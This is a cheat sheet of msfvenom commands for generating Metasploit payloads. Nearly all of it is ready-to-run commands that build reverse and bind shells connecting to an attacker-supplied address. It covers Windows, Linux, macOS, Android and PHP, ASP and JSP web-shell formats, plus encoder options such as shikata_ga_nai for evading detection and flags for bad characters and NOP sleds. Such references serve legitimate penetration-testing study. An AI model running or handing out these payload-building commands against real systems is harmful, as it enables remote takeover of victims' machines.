MSFVenom

Basic Usage

msfvenom -p <payload> [options] > <output_file>

Common Payloads

Windows Payloads

• Windows Reverse Shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe > shell.exe

• Windows Bind Shell:

msfvenom -p windows/meterpreter/bind_tcp RHOST=<target_ip> LPORT=<bind_port> -f exe > bind.exe

• Windows Reverse HTTPS Shell:

msfvenom -p windows/meterpreter/reverse_https LHOST=<attacker_ip> LPORT=<attacker_port> -f exe > shell_https.exe

Linux Payloads

• Linux Reverse Shell:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f elf > shell.elf

• Linux Bind Shell:

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<target_ip> LPORT=<bind_port> -f elf > bind.elf

macOS Payloads

• macOS Reverse Shell:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f macho > shell.macho

Android Payloads

• Android Reverse Shell:

msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> R > shell.apk

Web Payloads

• PHP Reverse Shell:

msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f raw > shell.php

• ASP Reverse Shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f asp > shell.asp

• JSP Reverse Shell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f raw > shell.jsp

Format Options

• EXE (Windows Executable):

-f exe

• ELF (Linux Executable):

-f elf

• APK (Android Package):

-f apk

• Macho (macOS Executable):

-f macho

• RAW (Raw Format):

-f raw

Encoding Payloads

• List Available Encoders:

msfvenom --list encoders

• Use a Specific Encoder:

msfvenom -p <payload> -e <encoder> -f <format> > <output_file>

• Common Encoder Example (Shikata Ga Nai):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -e x86/shikata_ga_nai -f exe > encoded_shell.exe

Additional Options

• Bad Characters (Avoid Specific Bytes):

msfvenom -p <payload> -b "\x00\xff" -f <format> > <output_file>

• Add a NOP Sled:

msfvenom -p <payload> -n <number_of_nops> -f <format> > <output_file>

• List All Payloads:

msfvenom --list payloads